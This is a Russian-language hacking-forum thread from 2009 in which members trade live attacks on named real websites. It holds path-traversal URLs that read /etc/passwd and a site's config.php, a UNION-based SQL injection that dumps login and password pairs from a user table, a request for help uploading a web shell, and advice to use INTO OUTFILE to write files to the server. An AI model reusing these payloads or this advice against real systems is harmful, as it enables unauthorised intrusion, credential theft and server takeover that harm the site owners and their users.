HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #7721  
Старый 17.06.2009, 21:19
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

1. Нет прав на чтение
2. Даже на /etc/passwd бывает фейки суют
 
Ответить с цитированием

  #7722  
Старый 17.06.2009, 21:25
farpost
Познающий
Регистрация: 16.05.2009
Сообщений: 42
С нами: 8941129

Репутация: 7
По умолчанию

Цитата:
http://www.imaf.co.uk/content.php?page=../../../../../../../../../../../../../../etc/passwd%00
Почему решили что фейк? И лог тоже фейковый?
 
Ответить с цитированием

  #7723  
Старый 17.06.2009, 21:29
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

Реально видел, правда один раз, сам админ написал при ../etc/passwd - "это фейк", скорее всего нет прав на чтение

и потом, logs/error_log вовсе не означает, что это тут:

/etc/httpd/logs/error_log

Последний раз редактировалось Pashkela; 17.06.2009 в 21:34..
 
Ответить с цитированием

  #7724  
Старый 17.06.2009, 21:35
farpost
Познающий
Регистрация: 16.05.2009
Сообщений: 42
С нами: 8941129

Репутация: 7
По умолчанию

Тогда относительно чего же этот путь
logs/error_log
 
Ответить с цитированием

  #7725  
Старый 17.06.2009, 22:34
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
С нами: 10339586

Репутация: 1396


По умолчанию

Цитата:
http://www.imaf.co.uk/content.php?page=../../../../../../../../../../../../../../home/web/imaf/imaf-forum/config.php%00
все там норм, никакого фейка..логи ищи. Поиск тебе в руки, была тема еttee.
 
Ответить с цитированием

  #7726  
Старый 18.06.2009, 01:01
farpost
Познающий
Регистрация: 16.05.2009
Сообщений: 42
С нами: 8941129

Репутация: 7
По умолчанию

Логов по стандартным путям из темы http://forum.antichat.ru/thread49775.html не нашлось
 
Ответить с цитированием

  #7727  
Старый 18.06.2009, 12:09
Скорпиончик
Banned
Регистрация: 16.06.2009
Сообщений: 5
С нами: 8896646

Репутация: -51
Exclamation

Можно ли залить shell сюда?

http://egechita.ru/documents/show_doc.php?doc=68&type=federalsfhjdgj

2 вопрос

/home/www/egechita/documents/show_doc.php

вот структура сайта.

Что я могу ещё полезного вытащить кроме етк/пасс?

сервер *nix

Последний раз редактировалось Скорпиончик; 18.06.2009 в 12:15..
 
Ответить с цитированием

  #7728  
Старый 18.06.2009, 12:36
M.W.N.N.
Участник форума
Регистрация: 05.01.2009
Сообщений: 191
С нами: 9129884

Репутация: 240
По умолчанию

Скорпиончик
Вот там еще нашел http://egechita.ru/news/show_news.php?id_news=56+union+select+1,concat_ws( 0x3a,login,pass),3,4,5+from+user+limit+1,1/*
пятая ветка
 
Ответить с цитированием

  #7729  
Старый 18.06.2009, 12:51
Скорпиончик
Banned
Регистрация: 16.06.2009
Сообщений: 5
С нами: 8896646

Репутация: -51
По умолчанию

я это находил. эти нечего не дают пассы. надо шелл залить
 
Ответить с цитированием

  #7730  
Старый 18.06.2009, 13:18
Fuckel
Участник форума
Регистрация: 17.01.2008
Сообщений: 170
С нами: 9640431

Репутация: 105
По умолчанию

попробуй INTO OUTFILE и ищи папку с правами на запись
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.